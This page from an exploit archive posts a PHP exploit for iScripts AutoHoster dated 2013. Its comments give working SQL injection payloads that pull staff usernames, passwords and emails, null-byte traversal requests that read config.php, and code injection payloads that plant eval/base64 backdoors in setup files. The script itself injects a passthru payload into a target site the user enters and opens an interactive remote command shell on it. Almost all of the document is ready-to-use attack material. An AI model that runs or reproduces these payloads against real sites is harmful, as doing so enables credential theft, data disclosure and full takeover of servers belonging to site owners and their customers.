exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

iScripts AutoHoster PHP Code Injection

iScripts AutoHoster PHP Code Injection
Posted Dec 15, 2013
Authored by i-Hmx

iScripts AutoHoster suffers from file disclosure, PHP code injection, file disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, php, vulnerability, sql injection, info disclosure
SHA-256 | e688d35feae61acb5dcdfa1966f1c4b19724883860f61ef17d40a6500a340e63

iScripts AutoHoster PHP Code Injection

Change Mirror Download
<?php
/*
[+] iScripts AutoHoster
[+] Multiple vulnerabilities , PHP Code injection Exploit
[+] Author : i-Hmx
[+] n0p1337@gmail.com
[+] sec4ever.com , 1337s.cc


I.Sql Injection Vuln

/checktransferstatus.php
Table name : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select distinct concat(0x7e,0x27,unhex(Hex(cast(table_name as char))),0x27,0x7e) from information_schema.tables where table_schema=database()limit 53,1),0x723078 and 'faris'='1337
Staff number : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,count(*),0x3c3c) from autohoster_staffs),0x723078 and 'faris'='1337
Staff Data : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x6661726973,(select concat(0x3e3e,unhex(Hex(cast(vPassword as char))),0x5e,unhex(Hex(cast(vLogin as char))),0x5e,unhex(Hex(cast(vMail as char))),0x3c3c) from autohoster_staffs limit 0,1) ,0x723078 and 'faris'='1337

/checktransferstatusbck.php
The same

II.Time based Blind Injection
/additionalsettings.php
Post : submit=faris&cmbdomain=%Inject_Here%

/payinvoiceothers.php
invno=%Inject_Here%

Little note : Both might not work if magic_quotes_gps = on :(
Dissapointed????
Nop , don't be so dramatic
am here to show u the full movie
not just the sad part ;)
Just keep reading

III.Local File Disclosure
/websitebuilder/showtemplateimage.php
include_once "includes/session.php";
include_once "includes/function.php";
$templateid = $_GET['tmpid'];
$type = $_GET['type'];
if ($type == "home") {
$imagename = "homepageimage.jpg";
} else if($type == "sub") {
$imagename = "subpageimage.jpg";
} else {
$imagename = "thumpnail.jpg";
}
readfile("./".$_SESSION["session_template_dir"]."/".$templateid."/$imagename");
Hmmm , we can cancel the imagename value via the null byte %00
[+] Exploit : /websitebuilder/showtemplateimage.php?tmpid=../../includes/config.php%00&type=sub

/admin/downloadfile.php > probably injected by the Guy who nulled the script (thank u any way ;p)
$filename = urldecode($_GET['fname']);
header("content-disposition:attachment;filename=$filename");
readfile($filename)
no need to cancel any thing , just beat it bro ;)
[+] Exploit : /admin/downloadfile.php?fname=../includes/config.php

/support/admin/csvdownload.php
$filename="../csvfiles/".addslashes($_GET["id"]).".txt";
header('Content-Description: File Transfer');
header('Content-Type: application/force-download');
header('Content-Length: ' . filesize($filename));
header('Content-Disposition: attachment; filename=' . basename($filename));
readfile($filename);
[+] Exploit : /support/admin/csvdownload.php?id=../../includes/config.php%00

IV.Directory tr. vuln
/support/parser/main_smtp.php
^
Just light sandwitch before the fatty food :))


V.PHP Code Injection Vuln.
Here come the King :D

/setup/TLDSetup.php
$tldselected = $HTTP_POST_VARS[ "tldselect" ];

$tldcount = count ($tldselected);
for ($j = 0; $j < $tldcount; $j++)
{
$tldList .= "<option <?php if ( \$cTld==\"" . $tldselected[$j] . "\" ) { echo \"selected\"; } ?>>" . $tldselected[$j] . "</option>\n";
$tldHoldList .= "\$" . str_replace(".", "", $tldselected[$j]) . "= 1;\n";
}

//set up TLD list

if ($HTTP_POST_VARS[ "tldsetup" ] == 1 or $HTTP_POST_VARS[ "original" ] == 1) {
$tldfile = fopen("./tldListOne.php", "w");
fwrite($tldfile, "<select name=\"tld\">\n" . $tldList . "</select>");
fclose($tldfile);
$tldHoldfile = fopen("./tldHoldList.php", "w");
fwrite($tldHoldfile, "<?php\n" . $tldHoldList . "?>");
fclose($tldHoldfile);
}
oOps , what should we do yar?
so simple :)
just post these parameters to /setup/TLDSetup.php
tldsetup=1&tldselect[]=faris"){eval(base64_decode($_REQUEST[fa]));}elseif ($cTld=="lame&x=49&y=13
Damn simple :)
now just go to
/setup/tldListOne.php
Enter ur base64 php code as value for the parameter fa
Example
post parameter : fa=cGhwaW5mbygpOw==
this will eval phpinfo(); , u can replace it by fopening ur own php file
It's working , But magic_quotes_gpc will fu#* it up :(
Need cleaner file???
then post these parameters at : /setup/TLDSetup.php
Post : tldsetup=1&tldselect[]=faris=1337;eval(base64_decode($_REQUEST[fa]));$junk&x=49&y=13
Now ur eval code can be executed at /setup/tldHoldList.php
That's much better , huh?
No quotes , let magic_quotes_gpc suffer ;)



/websitebuilder/createcustom.php
if ($_POST["btnSubmit"] == "Create Custom Form") {
$message = "";
$txtEmailAddress = $_POST["txtEmailAddress"];//the form will be mailed to this email address on submission
$txtPageName = $_POST["txtPageName"];//the actual page name
$txtPageDisplayName = $_POST["txtPageDisplayName"];//for display in links
$txtPageHeading = $_POST["txtPageHeading"];//the heading of the page
$formelements = $_POST["formelements"];//holds the form elements to be embedded in the page

$formstart = "<table cellspacing='2' cellpadding='2' width='100%' border='0'><tr><td align='center'>" . $txtPageHeading . "</td></tr><tr><td>";

$formend = "</td></tr></table>";

$formtext = $formstart . $formelements . $formend;

if ($message != "") {
$message = "<br>Please correct the following errors to continue!" . $message;
}
if ($message == "") {//if no error, proceed with creating page, inserting to database etc
$sql = "SELECT sm.vlinks, sm.vsub_sitelinks, tm.vlink_separator,tm.vsublink_separator,tm.vlink_type,tm.vsublink_type FROM " . $sitemaster . " sm INNER JOIN ".TABLE_PREFIX."template_mast tm ON sm.ntemplate_id = tm.ntemplate_mast ";
$sql .= " WHERE sm." . $siteidfield . " = '" . addslashes($siteid) . "'";
// echo $sql;
$res = mysql_query($sql);
if (mysql_num_rows($res) != 0) {
$row = mysql_fetch_array($res);
$links = $row["vlinks"];
$sublinks = $row["vsub_sitelinks"];
$linkseparator = $row["vlink_separator"];
$sublinkseparator = $row["vsublink_separator"];
$linktype = $row["vlink_type"];
$sublinktype = $row["vsublink_type"];
$pagelink = "<a class=anchor1 href='./" . $txtPageName . "'>" . $txtPageDisplayName . "</a>";
if ($linktype == "horizontal") {
$newlink = $links . $linkseparator . $pagelink;
} else if ($linktype == "vertical") {
$newlink = $links . $linkseparator . $pagelink . "<br>";
}

if ($sublinktype == "horizontal") {
$newsublink = $sublinks . $sublinkseparator . $pagelink;
} else if ($sublinktype == "vertical") {
$newsublink = $sublinks . $sublinkseparator . $pagelink . "<br>";
}

if ($links != "") {
$sql = "UPDATE " . $sitemaster . " SET vlinks = '" . addslashes($newlink) . "', vsub_sitelinks='" . addslashes($newsublink) . "' WHERE " . $siteidfield . " = '" . addslashes($siteid) . "' ";
mysql_query($sql);//adding links to database
$pagename = $txtPageDisplayName;
$filename = $txtPageName;
$pagetitle = $txtPageDisplayName;
$pagetype = "custom";
$type = "simple";

$sql2 = "INSERT INTO " . $sitepagetable . "(" . $siteidfield . ", vpage_name,vpage_title,vpage_type,vtype) VALUES ('" . addslashes($siteid) . "','" . addslashes($pagename) . "','" . addslashes($pagetitle) . "','" . addslashes($pagetype) . "','" . addslashes($type) . "') ";
mysql_query($sql2); //adding the new page to database

$newfilename = $sitefoldername . "/" . $filename;
if ($sitepagesfoldername != "") {//if it is a temp site(not completed), then create a file in the sitepages folder also
$newsitepagefilename = $sitepagesfoldername . "/" . $filename;
$fp1 = fopen($newsitepagefilename, "w+");
fwrite($fp1, $formtext);
fclose($fp1);
}
So , all we need is valid authorized siteid :)
it's simple
Make new site
Go to Editing You site
Link will be like : editsitepageoption.php?type=new&actiontype=editsite&templateid=51&tempsiteid=1
tempsiteid=1 > that's what we need
now time for injection :)
Go to : websitebuilder/createcustom.php
Post parameters : siteid=1&btnSubmit=Create Custom Form&txtPageName=faris.php&formelements=<? phpinfo(); ?>
Damn obvious , hah ;)
Injected file is located at : /websitebuilder/workarea/tempsites/1/faris.php


Well ,
this fool wasted me abt 80 mins :|
*/

print "\n+-----------------------------+\n";
print "| iScripts AutoHoster |\n";
print "| PHP Code injection By i-Hmx |\n";
print "| n0p1337@gmail.com |\n";
print "| sec4ever.com , 1337s.cc |\n";
print "+-----------------------------+\n";
echo "\n| Enter Target [http://SITE.COM/PATH/] # ";
$target=trim(fgets(STDIN));
function kastr($string, $start, $end){
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, false);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
echo "\n| Injecting Payload\n";
faget($target."/setup/TLDSetup.php/",'tldsetup=1&tldselect[]=faris=1337;passthru(base64_decode($_REQUEST[fa]));$junk&x=49&y=13');

if (!preg_match("/passthru()/", faget($target."/setup/tldHoldList.php", "")))
{
die("\n[-] Exploit Failed\n");
}
$myh=kastr($target,"//","/");
print "| sec4ever shell online\n";
while(1)
{
print "\ni-Hmx@$myh# ";
$fa=trim(fgets(STDIN));
if($fa=="exit")
{
die("\n[*] Terminating\n");
}
$fax=base64_encode($fa);
$fadata = faget($target."/setup/tldHoldList.php?fa=$fax","");
print $fadata;
}
/*
Msg for *** ******
Don't sell what's not belonging to you :)
have a good day
*/
?>
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close